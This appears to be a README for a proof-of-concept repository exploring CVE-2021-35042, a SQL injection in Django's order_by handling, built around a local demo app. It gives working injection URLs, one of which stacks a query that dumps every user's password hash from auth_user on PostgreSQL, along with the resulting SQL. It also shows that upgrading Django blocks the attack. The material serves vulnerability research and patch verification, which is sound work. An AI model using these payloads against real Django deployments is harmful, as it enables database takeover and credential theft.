CVE-2021-35042

Django SQL injection bug

Question: explore how exploitable is it?

Answer: I'm terrified

Install

poetry install

poetry run ./manage.py migrate

poetry run ./manage.py loaddata dummydata.json

Interactive Demo

poetry run ./manage.py runserver

Ordering by random fields

go to http://localhost:8000/?order_by=%22core_things_tags%22.%22things_id%22 note that the ?order_by param is passing a Raw SQL reference to a column "core_things_tags"."things_id"

terminate first query and try to run some sql

This feels like about as far as you can get: http://localhost:8000/?order_by=%22core_things_tags%22.%22things_id%22%20and%201);%20select%201%20as%20name%20;-- which closes the first SQL query translates to the follow SQL:

SELECT "core_things"."id",
       "core_things"."name",
       COUNT("core_things_tags"."tag_id") AS "num_tags"
FROM "core_things"
         LEFT OUTER JOIN "core_things_tags" ON ("core_things"."id" =
                                                "core_things_tags"."things_id")
GROUP BY "core_things"."id", "core_things"."name",
         ("core_things_tags"."things_id" and 1);
select 1 as name;--) ORDER BY ("core_things_tags"."things_id" and 1); select 1 as name ;--) ASC LIMIT 21; args=()

which fails with:

Warning at /
You can only execute one statement at a time.

this is just because sqlite can only run 1 query at a time

revisit running 2nd query with postgres

export DJANGO_DATABASE_URL=postgres://user:pass@localhost:5432/cve-2021-35042 # make this a valid DATABASE_URL for your own postgres server

poetry run ./manage.py migrate

poetry run ./manage.py loaddata dummydata.json

poetry run ./manage.py createsuperuser # follow prompts

visit: http://localhost:8000/?order_by=%22core_things_tags%22.%22things_id%22%20);%20SELECT%201%20as%20id,%20%22password%22as%20name,%201%20as%20num_tags%20from%20%22auth_user%22;--

which runs the following sql:

SELECT "core_things"."id",
       "core_things"."name",
       COUNT("core_things_tags"."tag_id") AS "num_tags"
FROM "core_things"
         LEFT OUTER JOIN "core_things_tags" ON ("core_things"."id" =
                                                "core_things_tags"."things_id")
GROUP BY "core_things"."id", ("core_things_tags"."things_id");
SELECT 1 as id, "password" as name, 1 as num_tags
from "auth_user";--) ORDER BY ("core_things_tags"."things_id" ); SELECT 1 as id, "password"as name, 1 as num_tags from "auth_user";--) ASC;

you can now do basically anything. This query steals the password hash for every user.

Upgrade to non-vunerable version

now temporarily upgrade django

poetry shell

pip install Django==3.2.5

revisit the above URL and note that it no longer works:

FieldError at /
Cannot resolve keyword '"core_things_tags"."things_id"' into field. Choices are: id, name, num_tags, tags